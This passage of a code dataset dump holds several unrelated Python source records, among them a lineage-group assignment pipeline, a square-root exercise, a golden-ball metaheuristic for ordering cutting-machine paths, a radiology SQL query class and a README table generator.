MINIMUM CLUSTER SIZE \" + str(min_clust_size) + \"...\")\n    PIV_assigned, master_intBC_list = iterative_lg_assign(PIV, min_clust_size, outputdir, min_intbc_thresh=min_intbc_thresh, kinship_thresh=kinship_thresh)\n\n    print(\">>> FILTERING OUT LOW PROPORTION INTBCs...\")\n    master_LGs, master_intBCs = filter_low_prop_intBCs(PIV_assigned, thresh = min_intbc_thresh)\n\n    print(\">>> COMPUTING KINSHIP MATRIX...\")\n    kinship_scores = filter_cells_by_kinship_scores(PIV_assigned, master_LGs, master_intBCs, outputdir)\n\n    print(\">>> ASSIGNING LINEAGE GROUPS...\")\n    at = assign_lineage_groups(mt, kinship_scores, master_intBCs)\n\n    if detect_doublets:\n        prop = doublet_thresh\n        print(\">>> FILTERING OUT INTRA-LINEAGE GROUP DOUBLETS WITH PROP \"  + str(prop) + \"...\")\n        at = lg_utils.filter_inter_doublets(at, \"lglog.txt\", outputdir, rule = prop)\n\n    filtered_lgs = collectAlleles(at, thresh = min_intbc_thresh)\n\n    at = filteredLG2AT(filtered_lgs)\n\n    with open(outputdir + \"/lglog.txt\", \"a\") as f:\n        f.write(\"Final LG assignments:\\n\")\n\n        for n, g in at.groupby([\"lineageGrp\"]):\n            f.write(\"LG \" + str(n) + \": \" + str(len(g[\"cellBC\"].unique())) + \" cells\\n\")\n\n    print(\">>> FILTERING OUT LOW-UMI CELLS...\")\n    at, cell2BCnM = filterCellBCs(at, outputdir, umiCountThresh=int(cell_umi_filter), verbose=verbose)\n\n    print(\">>> WRITING OUTPUT...\")\n    at.to_csv(outputdir + \"/\" + output_fp, sep='\\t', index=False)\n\n    if plot:\n        print(\">>> PRODUCING PLOTS...\")\n        at_piv = pd.pivot_table(at, index=\"cellBC\", columns=\"intBC\", values=\"UMI\", aggfunc=\"count\")\n        at_pivot_I = at_piv\n        at_pivot_I.fillna(value = 0, inplace=True)\n        at_pivot_I[at_pivot_I > 0] = 1\n\n        clusters = at[[\"cellBC\", \"lineageGrp\"]].drop_duplicates()[\"lineageGrp\"]\n\n        print(\">>> PRODUCING PIVOT TABLE HEATMAP...\")\n        plot_overlap_heatmap(at_pivot_I, at, outputdir)\n\n        print(\">>> PLOTTING FILTERED LINEAGE GROUP PIVOT TABLE HEATMAPS...\")\n        plot_overlap_heatmap_lg(at, at_pivot_I, outputdir)\n\n    with open(outputdir + \"/lglog.txt\", \"a\") as f:\n        f.write(\"Final allele table written to \" + outputdir + \"/\" + output_fp + \"\\n\")\n        f.write(\"Total time: \" + str(time.time() - t0))\n","repo_name":"mattjones315/KPTracer-release","sub_path":"cassiopeia-kp/cassiopeia/ProcessingPipeline/process/lineageGroup.py","file_name":"lineageGroup.py","file_ext":"py","file_size_in_byte":25062,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"26923935718","text":"# Hayley Doherty\n\ndef sqrt(n):\n    root = n * 0.3 # approximate of sqrt\n    while True:\n        root2 = (root + (n / root)) / 2 # newtons eqn\n        if abs(root - root2) < 0.00001:\n            return root2\n        root = root2    \n        \nprint(sqrt(14.5))","repo_name":"hayleydoherty/hayley","sub_path":"week6v2.py","file_name":"week6v2.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18436229827","text":"from numpy.random import default_rng\nimport random\nfrom math import fabs\nimport time\nimport copy\nfrom itertools import combinations\nfrom multiprocessing import Pool\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import EventCollection\nimport numpy as np\n\ndef creation_players(instace, size):\n    \n    rng = default_rng()\n    playerR = rng.choice(size, size=size, replace=False).tolist()\n    \n    for x in range(len(playerR)):\n        playerR[x] = playerR[x] + 1\n\n    playerL = [random.randint(0, 1) for i in range(size)]\n     \n\n    player = [-1, playerL, playerR]\n    #player[0] = score_relax(instace, player)\n    player[0] = score(instace, player)\n    player.insert(3, 0)\n    \n    return player\n\ndef creation_teams(instace, size_player, qntTeams, size_team):\n    players = []\n    teams = []\n    \n    for i in range(size_team*qntTeams):\n        players.append(creation_players(instace, size_player))\n\n    for i in range(qntTeams):\n        team = [0]\n        for j in range(size_team):\n            randomPlayer = random.randint(0, len(players) - 1)\n            team.append(players.pop(randomPlayer))\n        \n        \n        team_score(team)\n        team = captain(team)\n        teams.append(team)\n    teams = classification_team(teams)\n    return teams\n\ndef classification_team(teams):\n    return sorted(teams, key = lambda t: t[0], reverse = True)\n\ndef captain(team):\n    score = team[0]\n    del team[0]\n    team = sorted(team, key= lambda t: t[0],reverse=True)\n    team.insert(0, score)\n    return team\n\ndef team_score(team):\n    ts = 0\n    for i in range(len(team)):\n        if( isinstance(team[i], list) ):\n           ts += team[i][0]\n    team[0] = ts\n\ndef dist2pt(x1, y1, x2, y2):\n    Chebyschev = max(fabs(x2 - x1), fabs(y2 - y1))\n    return  Chebyschev # Distancia de Chebyschev\n\ndef new_season(teams):\n    for t in teams:\n        t[0] = 0\n    return teams\n\ndef classification(teams):\n    teams = sorted(teams, key= lambda t: t[0])\n    return teams\n\ndef training_2_opt(instace, teams, sizePayer):\n    for team in teams:\n        capitan = team[1]\n        for player in team:\n            if(isinstance(player, list)):\n                l = two_opt(player[2], instace, sizePayer)\n                \n                if(player[0] == l[1] and player != capitan):\n                    player[3] += 1\n                \n                player[2] = l[0]\n                player[0] = l[1]\n                sentido(instace, player)\n                if(player[3] == 5):\n                    player = custom_training(capitan, player, sizePayer)\n                    #score_relax(instace, player)\n                    score(instace, player)\n                    player[3] = 0\n                              \ndef two_opt(player, instace, sizePayer):\n    best = player\n    #best_score = score_relax(instace, best)\n    best_score = score(instace, best)\n    new_score = 0\n    improved = True\n    while improved:\n        improved = False\n        for i in range(1, sizePayer-2):\n            for j in range(i+1, sizePayer):\n                new_player = player[:]\n                new_player[i:j] = player[j-1:i-1:-1]\n                #new_score = score_relax(instace, new_player)\n                new_score = score(instace, new_player)\n                if new_score > best_score:\n                    best = new_player\n                    best_score = new_score\n                    improved = True\n        player = best\n    return [best, best_score]\n\ndef score_relax(instace, player):\n    pontos_em_commum = 0\n    if(isinstance(player[2], list)):\n        for i in range(len(player[2]) - 1) :\n            if(contem_ponto_em_comum(instace[player[2][i] - 1], instace[player[2][i + 1] - 1])):\n                pontos_em_commum += 1\n        return pontos_em_commum\n    else:\n        for i in range(len(player) - 1) :\n            if(isinstance(player, list) and contem_ponto_em_comum(instace[player[i] - 1], instace[player[i + 1] - 1])):\n                pontos_em_commum += 1\n        return pontos_em_commum\n\ndef aresta_visitada(arestaA, arestaB):\n    pontosA = arestaA.split(\" \")\n    pontosB = arestaB.split(\" \")\n\n    x1 = pontosA[0] +\" \"+ pontosA[1]\n    y1 = pontosA[2] +\" \"+ pontosA[3]\n    x2 = pontosB[0] +\" \"+ pontosB[1]\n    y2 = pontosB[2] +\" \"+ pontosB[3]\n\ndef contem_ponto_em_comum(arestaA, arestaB):\n    pontosA = arestaA.split(\" \")\n    pontosB = arestaB.split(\" \")\n\n    pontoA = pontosA[0] + pontosA[1]\n    pontoB = pontosA[2] + pontosA[3]\n    pontoC = pontosB[0] + pontosB[1]\n    pontoD = pontosB[2] + pontosB[3]\n\n    if(pontoA == pontoC or pontoA == pontoD):\n        return True\n    elif(pontoB == pontoC or pontoB == pontoD):\n        return True\n    return False\n\ndef setar(ponto1, ponto2, ponto3, ponto4, ponto5=(0.0,0.0), ponto6=(0.0,0.0)):\n    \n    sentido = -1\n    \n    if(ponto1 == ponto3 or ponto1 == ponto4):\n        if(ponto1[0] < ponto2[0] or ponto1[1] < ponto2[1]):#se para onde eu for o ponto é maior\n            sentido = 1\n        else:\n            sentido = 0\n    elif(ponto2 == ponto3 or ponto2 == ponto4):\n        if(ponto1[0] < ponto2[0] or ponto1[1] < ponto2[1]):#se para onde eu for o ponto é maior\n            sentido = 0\n        else:\n            sentido = 1\n    else:\n        sentido = 1\n        #if(last_setar(ponto1, ponto2, ponto5, ponto6) == 0):\n        #    sentido = 1\n        #else:\n        #    sentido = 0\n    \n    return sentido\n\ndef last_setar(ponto1, ponto2, ponto3, ponto4):\n    sentido = -1\n    \n    if(ponto1 == ponto3 or ponto1 == ponto4):\n        if(ponto1[0] < ponto2[0] or ponto1[1] < ponto2[1]):#se para onde eu for o ponto é maior\n            sentido = 0\n        else:\n            sentido = 1\n    elif(ponto2 == ponto3 or ponto2 == ponto4):\n        if(ponto1[0] < ponto2[0] or ponto1[1] < ponto2[1]):#se para onde eu for o ponto é maior\n            sentido = 1\n        else:\n            sentido = 0\n    else:\n        a = 'não tem ponto em comum'\n        sentido = 0\n    \n    return sentido\n\ndef sentido(instace, player):\n    for i in range(len(player[2]) - 1):\n        pontos = instace[player[2][i] - 1].split(\" \")\n        pontos1 = instace[player[2][i + 1] - 1].split(\" \")\n        if(i > 0):\n            pontos0 = instace[player[2][i-1] - 1].split(\" \")\n            player[1][i] = setar((float(pontos[0]), float(pontos[1])), (float(pontos[2]), float(pontos[3])), \n                            (float(pontos1[0]), float(pontos1[1])), (float(pontos1[2]), float(pontos1[3])),\n                            (float(pontos0[0]), float(pontos0[1])), (float(pontos0[2]), float(pontos0[3])))\n        else:\n            player[1][i] = setar((float(pontos[0]), float(pontos[1])), (float(pontos[2]), float(pontos[3])), \n                            (float(pontos1[0]), float(pontos1[1])), (float(pontos1[2]), float(pontos1[3])))\n    \n    pontos = instace[player[2][-1] - 1].split(\" \")\n    pontos1 = instace[player[2][-2] - 1].split(\" \")\n    player[1][-1] = last_setar((float(pontos[0]), float(pontos[1])), (float(pontos[2]), float(pontos[3])), \n                            (float(pontos1[0]), float(pontos1[1])), (float(pontos1[2]), float(pontos1[3])))\n    \n#[6, 4, 1, 7, 3, 5, 8, 2]\n#[1, 1, 0, 1, 1, 1, 0, 0]\n#def maior_ponto():\n\ndef match(team1, team2):\n    t1 = 0\n    t2 = 0\n    game_result = 0\n    \n    for i in range(len(team1)):\n        if(isinstance(team1[i], list)):\n            if(team1[i][0] > team2[i][0]):\n                t1 += 1\n            elif(team1[i][0] < team2[i][0]):\n                t2 += 1\n    \n    if(t1 > t2):\n        team1[0] += 3\n    elif(t1 < t2):\n        team2[0] += 3\n    else:\n        team1[0] += 1\n        team2[0] += 1\n    \ndef criar_instance(name_instace, instace, sizePayer):\n    with open(name_instace,\"r\") as file:\n        for line in file:\n            if(sizePayer == -1):\n                sizePayer = int(line)\n            elif(line != '\\n'):\n                if(line[-1:] == '\\n'):\n                    instace.append(line[:-1])\n    return sizePayer\n'''-------------------------------------------------------------------------------'''\n\ndef score(instace, player, vc = 100 / 6, vm = 400):\n    \n    sequnciaCorte = player[2]\n    senditoCorte = player[1]\n    scr = 0.0\n    pfX = -1.1\n    pfY = -1.1\n    for i in range(len(sequnciaCorte)):\n        aresta = instace[sequnciaCorte[i] - 1].split(\" \")\n        if(scr == 0):\n            if(senditoCorte[i] == 0):\n                if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                    dist = dist2pt(0.0, 0.0, float(aresta[0]), float(aresta[1]))\n                    scr = dist / vm\n\n                    pfX = float(aresta[2])\n                    pfY = float(aresta[3])\n                else:\n                    dist = dist2pt(0.0, 0.0, float(aresta[2]), float(aresta[3]))\n                    scr = dist / vm\n\n                    pfX = float(aresta[0])\n                    pfY = float(aresta[1])\n            else:\n                if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                    dist = dist2pt(0.0, 0.0, float(aresta[2]), float(aresta[3]))\n                    scr = dist / vm\n                    pfX = float(aresta[0])\n                    pfY = float(aresta[1])\n                else:\n                    dist = dist2pt(0.0, 0.0, float(aresta[0]), float(aresta[1]))\n                    scr = dist / vm\n                    pfX = float(aresta[2])\n                    pfY = float(aresta[3])\n            \n            dist = dist2pt(float(aresta[0]), float(aresta[1]), float(aresta[2]), float(aresta[3]))\n            scr = scr + (dist / vc)\n        else:\n            auxPfX = 0.0\n            auxPfY = 0.0\n            if(senditoCorte[i] == 0):\n                if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                    pX = float(aresta[0])\n                    pY = float(aresta[1])\n                    auxPfX = float(aresta[2])\n                    auxPfY = float(aresta[3])\n                else:\n                    pX = float(aresta[2])\n                    pY = float(aresta[3])\n                    auxPfX = float(aresta[0])\n                    auxPfY = float(aresta[1])\n            else:\n                if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                    pX = float(aresta[2])\n                    pY = float(aresta[3])\n                    auxPfX = float(aresta[0])\n                    auxPfY = float(aresta[1])\n                else:\n                    pX = float(aresta[0])\n                    pY = float(aresta[1])\n                    auxPfX = float(aresta[2])\n                    auxPfY = float(aresta[3])\n            dist = dist2pt(pfX, pfY, pX, pY)\n            scr = scr + (dist / vm)\n            dist = dist2pt(float(aresta[0]), float(aresta[1]), float(aresta[2]), float(aresta[3]))\n            scr = scr + (dist / vc)\n\n            pfX = auxPfX\n            pfY = auxPfY\n               \n            #pfX = eixo x no qual a maquina de corte parou ao finalizar o corte de uma aresta\n            #pfY = eixo y no qual a maquina de corte parou ao finalizar o corte de uma aresta\n            #pX  = eixo x no qual a maquina de corte irá inicializar o corte de uma aresta\n            #pY  = eixo y no qual a maquina de corte irá inicializar o corte de uma aresta\n            #(pfX, pfY) é um ponto no qual a maquina de corte parou ao finalizar o corte de uma aresta\n    return scr\n\ndef midPoint(x1, y1, x2, y2):\n    return (x1 + x2) / 2, (y1 + y2) / 2\n\ndef plotar(instace, player):\n    colors = ['r', 'gray']\n    if(isinstance(player, list)):\n        fig1, f1_axes = plt.subplots(ncols=1, nrows=1, constrained_layout=True)\n        cont = 1\n        for i in range(len(player[2])):\n            aresta = instace[player[2][i] - 1].split(\" \")\n            xs = []\n            ys = []\n            if(player[1][i] == 0):\n                if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                    xs = [float(aresta[0]), float(aresta[2])]\n                    ys = [float(aresta[1]), float(aresta[3])]\n                else:\n                    xs = [float(aresta[2]), float(aresta[0])]\n                    ys = [float(aresta[3]), float(aresta[1])]\n            else:\n                if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                    xs = [float(aresta[2]), float(aresta[0])]\n                    ys = [float(aresta[3]), float(aresta[1])]\n                else:\n                    xs = [float(aresta[0]), float(aresta[2])]\n                    ys = [float(aresta[1]), float(aresta[3])]\n            \n            f1_axes.quiver(xs[0], ys[0], xs[1]-xs[0], ys[1]-ys[0],\n                    scale_units='xy', angles='xy', scale=1, color=colors[0])\n            f1_axes.annotate(str(cont), midPoint(xs[0],ys[0],xs[1],ys[1]))\n\n            cont += 1\n            if(i <= (len(player[2]) - 2) and \n                (not contem_ponto_em_comum(instace[player[2][i] - 1], instace[player[2][i + 1] - 1]))):\n                xs[0] = xs[1] \n                ys[0] = ys[1]\n\n                aresta = instace[player[2][i+1] - 1].split(\" \")\n                if(player[1][i + 1] == 0):\n                    if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                        xs[1] = float(aresta[0])\n                        ys[1] = float(aresta[1])\n                    else:\n                        xs[1] = float(aresta[2])\n                        ys[1] = float(aresta[3])\n                else:\n                    if(float(aresta[0]) < float(aresta[2]) or float(aresta[1]) < float(aresta[3])):\n                        xs[1] = float(aresta[2])\n                        ys[1] = float(aresta[3])\n                    else:\n                        xs[1] = float(aresta[0])\n                        ys[1] = float(aresta[1])\n                \n                f1_axes.quiver(xs[0], ys[0], xs[1]-xs[0], ys[1]-ys[0],\n                    scale_units='xy', angles='xy', scale=1, color=colors[1])\n                f1_axes.annotate(str(cont), midPoint(xs[0],ys[0],xs[1],ys[1]))\n                cont += 1\n\n        plt.title(\"Tempo requerido: \"+ str(player[0])+\"s\")\n        plt.show()\n        plt.close()\n#marker=\">\"\n\ndef custom_training(capitan, player, index):  \n    i = 0\n    num = []\n    while i <len(player[2]):\n        num.append(player[2][i])\n        player[2][i] = 0\n        i += 2\n    i=0\n    cont = 0\n    while i < index:\n        if(not capitan[2][i] in player[2]):\n            player[2][cont] = capitan[2][i]\n            cont += 2\n        i += 1\n\n    return player\n\ndef sequencia_corte(teams, instace):\n    for team in teams:\n        for player in team:\n            if (isinstance(player, list)):\n                player[0] = score(instace, player)\n\ndef transfer_phase(teams):\n    for i in range(int(len(teams)/2)):\n        teams[i][-1], teams[(i+1)*-1][1] = teams[(i+1)*-1][1], teams[i][-1]\n\ndef golden_ball(name_instace, seasons, qnt_times, qnd_jogadores):\n    instace = []\n    sizePayer = criar_instance(name_instace, instace, -1)\n    teams = creation_teams(instace, sizePayer, qnt_times, qnd_jogadores)#criar jogadores e times\n    teams = classification(teams)\n    games = list(range(qnt_times))\n    sequencia_games = list(combinations(games, 2))\n    \n    for season in range(seasons):#[1, 8, 2, 3, 5, 4, 6, 7]\n        new_season(teams)\n        for g in range(2 * qnt_times - 2):\n            if(g == qnt_times-1):\n                teams = classification_team(teams)\n                transfer_phase(teams)\n                sequencia_games = list(combinations(games, 2))\n            \n            training_2_opt(instace, teams, sizePayer)#aqui ja verifico se tem um jogador que não melhorou\n            jogos = 0\n            i=0\n            while jogos < qnt_times/2 and i < len(sequencia_games):\n                if(games[sequencia_games[i][0]] != -1 and games[sequencia_games[i][1]] != -1 ):\n                    #print(sequencia_games[i])\n                    games[sequencia_games[i][0]] = -1\n                    games[sequencia_games[i][1]] = -1\n                    team1 = teams[sequencia_games[i][0]]\n                    team2 = teams[sequencia_games[i][1]]\n                    match(team1, team2)\n                    sequencia_games.pop(i)\n\n                    jogos += 1\n                else:\n                    i += 1\n            if(jogos < qnt_times/2 and i >= len(sequencia_games)):\n                i -= 1\n                while i < len(sequencia_games) and sum(games) * -1 == qnt_times:\n                    if(games[sequencia_games[i][0]] != -1 or games[sequencia_games[i][1]] != -1 ):\n                        #print(sequencia_games[i])\n                        games[sequencia_games[i][0]] = -1\n                        games[sequencia_games[i][1]] = -1\n                        team1 = teams[sequencia_games[i][0]]\n                        team2 = teams[sequencia_games[i][1]]\n                        match(team1, team2)\n                        sequencia_games.pop(i)\n                    i -= 1\n            \n            games = list(range(qnt_times))#seto uma nova rodada\n            \n        teams = classification_team(teams)\n\n        if(season < seasons):\n            transfer_phase(teams)\n    sequencia_corte(teams, instace)\n    return [teams, instace]\n  \n\nif __name__ == '__main__':\n    \n    files = [\n        'instance_01_2pol', 'instance_01_3pol', 'instance_01_4pol', 'instance_01_5pol', 'instance_01_6pol',\n        'instance_01_7pol', 'instance_01_8pol', 'instance_01_9pol', 'instance_01_10pol', 'instance_01_16pol',\n        'albano', 'blaz1', 'blaz2', 'blaz3', 'dighe1', 'dighe2', 'fu', 'rco1', 'rco2', 'rco3', 'shapes2', 'shapes4',\n        'instance_artificial_01_26pol_hole', 'spfc_instance', 'trousers',\n    ]\n    tipo = ['packing', 'separated']\n    qnt_seasons = 1 \n    qnt_team = 20\n    qnt_player_to_team = 11\n\n    start = time.time()\n    gb = golden_ball('instancias/' + tipo[0] + '/' + files[0] + '.txt', qnt_seasons, qnt_team, qnt_player_to_team)\n    teams = gb[0]\n    instace = gb[1]\n    end = time.time() \n    \n    for team in teams:\n        for player in team:\n            print(player)\n            plotar(instace, player)\n            #if(isinstance(player, list)):\n            #    break\n        print(\"-------------------------------------------------------\")\n    print(end - start)\n    \n\n#vc -> 16.67\n#cm -> 400\n#[1, 0, 1, 1, 0, 0, 0, 1]\n#[8, 5, 3, 2, 7, 6, 4, 1]\n","repo_name":"JardelChagas/goldenBall","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40051073849","text":"from hms_workflow_platform.core.queries.base.base_query import *\n\n\nclass RadiologyQuery(BaseQuery):\n    def __init__(self, site):\n        super().__init__()\n        self.adapter = self.get_adapter(site)\n        self.query = self.adapter.query\n\n    def radiology_create(self, date_obj):\n        date = date_obj.strftime('%Y-%m-%d')\n        query = (\n            \"select format_an(v.an) en, (xray_result.modify_date || 'T' || xray_result.modify_time) mdate from visit v\"\n            \"left join xray_result on xray_result.visit_id = v.visit_id  AND fix_visit_type_id = '1' \"\n            f\"where xray_result.modify_date >= '{date}'\"\n            \"union\"\n            \"select format_vn(v.vn) en, (xray_result.modify_date || 'T' || xray_result.modify_time) mdate from visit v\"\n            \"left join xray_result on xray_result.visit_id = v.visit_id AND fix_visit_type_id <> '1' \"\n            f\"where xray_result.modify_date >= '{date}'\"\n            \"order by mdate\")\n\n        result = self.query(query)\n        print(query)\n        print(result)\n        return result if result else None\n","repo_name":"superoutput/airflow-data-analytics","sub_path":"dags/emr/core/queries/im/radiology_query.py","file_name":"radiology_query.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"69946219847","text":"from pandas import DataFrame, read_csv\nimport pandas as pd\nimport sys\nimport os\nimport re\nimport numpy as np\n\n\ndef print_to_readme(txt, with_newline=True):\n    global output_str_\n    output_str_ += txt\n    if with_newline:\n        output_str_ += '\\n'\n\n\ndef build_table_html(headers, items, widths=[]):\n    num_cols = len(headers)\n    num_rows = len(items)\n\n    out_str = '<table>\\n'\n    header_str = ''\n    for ii, hdr_i in enumerate(headers):\n        if len(widths) > ii:\n            header_str += '    <th width = \\'%dpx\\'>%s</th>\\n' % (widths[ii], hdr_i)\n        else:\n            header_str += '    <th>%s</th>\\n' % hdr_i\n    out_str += '  <tr>\\n' + header_str + '  </tr>\\n'\n\n    items_str = ''\n    for ii in range(num_rows):\n        items_str += '  <tr>\\n'\n        for jj in range(num_cols):\n            item_ij = str(items[ii][jj]) if str(items[ii][jj]) != 'nan' else ' '\n            item_ij = item_ij.replace('|', '')  # `|` characters cause mess!\n            items_str += '    <td>%s</td>\\n' % str(item_ij)\n        items_str += '  </tr>\\n'\n    out_str += items_str + '</table>\\n'\n\n    return out_str\n\n\ndef build_table_md(headers, items, skip_columns=[]):\n    header_inds = [i for i in range(len(headers)) if i not in skip_columns]\n    num_cols = len(header_inds)\n    num_rows = len(items)\n\n    header_str = '| '\n    seperator_str = '|'\n    for header_ind in header_inds:\n        header_str += headers[header_ind] + ' | '\n        seperator_str += '----|'\n\n    content_str = ''\n\n    for ii in range(num_rows):\n        content_str += '| '\n        for jj in header_inds:\n            # FIXME: remove it from here\n            item_ij = str(items[ii][jj]) if str(items[ii][jj]) != 'nan' else ' '\n            item_ij = item_ij.replace('|', '').replace('\\n', '')  # `|` characters cause mess!\n            content_str += item_ij + ' | '\n        content_str += '\\n'\n\n    return header_str + '\\n' + seperator_str + '\\n' + content_str\n\n\ndef build_readme():\n    input_readme = os.path.join(opentraj_root, \"README.md\")\n\n    input_str = ''\n    if os.path.exists(input_readme):\n        with open(input_readme, 'r') as input_readme_file:\n            input_str = input_readme_file.read()\n    # output_str = ''\n\n    # Todo: find beginning and end of table 1\n    begin_str_table_main = '\\n<!--begin(table_main)-->'\n    end_str_table_main = '<!--end(table_main)-->\\n'\n    begin_ind_table_main = input_str.rfind(begin_str_table_main)\n    end_ind_table_main = input_str.rfind(end_str_table_main) + len(end_str_table_main)\n\n    # FIXME: Build Table 1\n    df_main = pd.read_excel(excel_file_table_datasets, header=[0])\n\n    # df_main.Description\n    headers_table_main = df_main.axes[1].values[:4].tolist()\n    description_header = ''.join(['&nbsp;' for i in range(50)]) +\\\n                         'Description' +\\\n                         ''.join(['&nbsp;' for i in range(50)])\n    headers_table_main[2] = description_header\n\n    items_table_main = np.array(df_main.values[:, :4].tolist())\n\n    for ii, row_i in enumerate(items_table_main):\n        img_str_begin = items_table_main[ii][0].rfind('(') + 1\n        img_str_end = items_table_main[ii][0].rfind(')')\n        if table_html_format:\n            cols_width = [350, 100, 500, 200]\n            items_table_main[ii][0] = '<img src=\\'%s\\' width=\\'%dpx\\'\\>' \\\n                                      %(str(items_table_main[ii][0][img_str_begin:img_str_end]), cols_width[0])\n\n        if str(items_table_main[ii][2]) == 'nan':\n            items_table_main[ii][2] = ''\n\n        ntraj = df_main.nTraj.values.tolist()[ii]\n        coord = df_main.Coord.values.tolist()[ii]\n        fps = df_main.FPS.values.tolist()[ii]\n        density = df_main.Density.values.tolist()[ii]\n        if str(ntraj) != 'nan':\n            items_table_main[ii][2] += \" <code>#Traj:[%s]</code>\" % str(ntraj)\n\n        if str(coord) != 'nan':\n            items_table_main[ii][2] += \" <code>Coord=%s</code>\" % str(coord)\n\n        if str(fps) != 'nan':\n            items_table_main[ii][2] += \" <code>FPS=%s</code>\" % str(fps)\n\n        if str(density) != 'nan' and not '?' in str(density):\n            items_table_main[ii][2] += \" <code>Density=%s</code>\" % str(density)\n\n        if table_html_format:\n            refs = items_table_main[ii][3]\n            items_table_main[ii][3] = ''\n            ref_name = [occ.group() for occ in re.finditer('\\[(.+?)\\]', refs)]\n            ref_link = [occ.group() for occ in re.finditer('\\((.+?)\\)', refs)]\n            for kk in range(len(ref_link)):\n                items_table_main[ii][3] += '<a href=\\'%s\\'>%s</a> ' % (ref_link[kk][1:-1], ref_name[kk][:])\n\n        # print(items_table_main[ii][3])\n\n    # selected_header_inds = [0, 1, 6, 7, 8]  # ['Sample', 'Name', 'Description', 'REF']\n    # skip_columns = list(range(len(headers_table_main)))\n    # skip_columns.pop(selected_header_inds)\n    skip_columns = []\n\n\n    print_to_readme(input_str[:begin_ind_table_main], with_newline=False)\n    print_to_readme(begin_str_table_main)\n    if table_html_format:\n        print_to_readme(build_table_html(headers_table_main, items_table_main))\n    else:\n        print_to_readme(build_table_md(headers_table_main, items_table_main))\n    print_to_readme(end_str_table_main, with_newline=False)\n\n    cursor = end_ind_table_main\n\n    # Predicttion Benchmark Table:  ETH\n    # ==========================================\n    # df_ETH = pd.read_excel(excel_file_table_benchmark_eth, header=[0])\n\n    # headers_table_ETH = df_ETH.axes[1].values.tolist()\n    # items_table_ETH = df_ETH.values.tolist()\n\n    # begin_str_table_ETH = '<!--begin(table_ETH)-->'\n    # end_str_table_ETH = '<!--end(table_ETH)-->'\n    # begin_ind_table_ETH = input_str.rfind(begin_str_table_ETH)\n    # end_ind_table_ETH = input_str.rfind(end_str_table_ETH) + len(end_str_table_ETH)\n    #\n    # # Add texts before table - ETH\n    # print_to_readme(input_str[cursor:begin_ind_table_ETH], with_newline=False)\n    #\n    # print_to_readme(begin_str_table_ETH)\n    # print_to_readme(build_table(headers_table_ETH, items_table_ETH))\n    # print_to_readme(end_str_table_ETH, with_newline=False)\n    # cursor = end_ind_table_ETH\n    # ========================================\n\n    # Append rest of the text\n    print_to_readme(input_str[cursor:], with_newline=False)\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 2 and not sys.argv[1].startswith('--'):\n        opentraj_root = sys.argv[1]\n    else:\n        opentraj_root = os.path.abspath(os.path.join(os.getcwd(), '..'))\n\n    # double check: to see if this script can be found where it should be\n    if not os.path.exists(os.path.join(opentraj_root, 'doc/readme_builder.py')):\n        print('Error! could not find true opentraj path!')\n        exit(-1)\n\n    excel_file_table_datasets = os.path.join(opentraj_root, \"doc/data/opentraj-datasets.xlsx\")\n    excel_file_table_benchmark_eth = os.path.join(opentraj_root, \"doc/data/opentraj-benchmark-eth.xlsx\")\n\n    if '--download-tables' in sys.argv:\n        # Todo: one option is to upload the doc into dropbox and download it each time\n        os.system(f'wget -q -O {excel_file_table_datasets}'\n                  f' -N \"https://ethercalc.org/5xdmtogai5l8.xlsx\"')\n        os.system(f'wget -q -O {excel_file_table_benchmark_eth}'\n                  f' -N \"https://ethercalc.org/bzn1f11s4w2b.xlsx\"')\n    temp_output_file = os.path.join(opentraj_root, \"README__temp.md\")\n\n    table_html_format = False\n    if '--build' in sys.argv:\n        output_str_ = ''\n        print(opentraj_root)\n\n        build_readme()\n        print(output_str_)\n\n        with open(temp_output_file, \"w\") as out_file:\n            out_file.write(output_str_)\n\n    if '--confirm' in sys.argv and os.path.exists(temp_output_file):\n        with open(temp_output_file) as f_in:\n            lines = f_in.readlines()\n            with open(os.path.join(opentraj_root, \"README.md\"), \"w\") as f_out:\n                f_out.writelines(lines)\n        os.remove(temp_output_file)\n\n","repo_name":"crowdbotp/OpenTraj","sub_path":"docs/readme_builder.py","file_name":"readme_builder.py","file_ext":"py","file_size_in_byte":7929,"program_lang":"python","lang":"en","doc_type":"code","stars":405,"dataset":"github-code","pt":"16"}
+{"seq_id":"72933075527","text":"import json\nfrom os import path\n\nfrom services.utils import post\n\nwith open('config/api.json') as f:\n    data = json.load(f)\n    FUNCTIONS = data['functions']\n\nPUNCT = {',', '.', '-', \"'s\", \"'m\", '?', \"n't\"}\n\nPOS_API_MAP = {\n    'Subject': 'nounColor',\n    'Verb': 'verbColor',\n    'PA': 'predicateAdjectiveColor',\n    'PN': 'predicateNominativeColor',\n    'DO': 'directObjectColor',\n    'IO': 'indirectObjectColor',\n    'Preposition': 'prepositionColor',\n    'Appositive': 'appositiveColor',\n    'Participle': 'participleColor',\n    'Infinitive': 'infinitiveColor',\n}\n\n\ndef create_worksheet(sheet_loc, title, lines, sources, settings):\n    key_loc = '{} (Key){}'.format(*path.splitext(sheet_loc))\n    body = create_request_body(title, lines, sources, settings)\n    response = post(FUNCTIONS + 'worksheet', json=body).content\n    sheet, key = tuple(response.split(b', key: '))\n    write(sheet_loc, sheet)\n    write(key_loc, key)\n\n\ndef create_request_body(title, lines, sources, settings):\n    result = {\n        'title': title,\n        'lines': lines,\n        'sources': sources,\n        'settings': settings\n    }\n    with open('config/pos.json') as f:\n        pos = json.load(f)\n\n    for name, style in pos.items():\n        if style['active']:\n            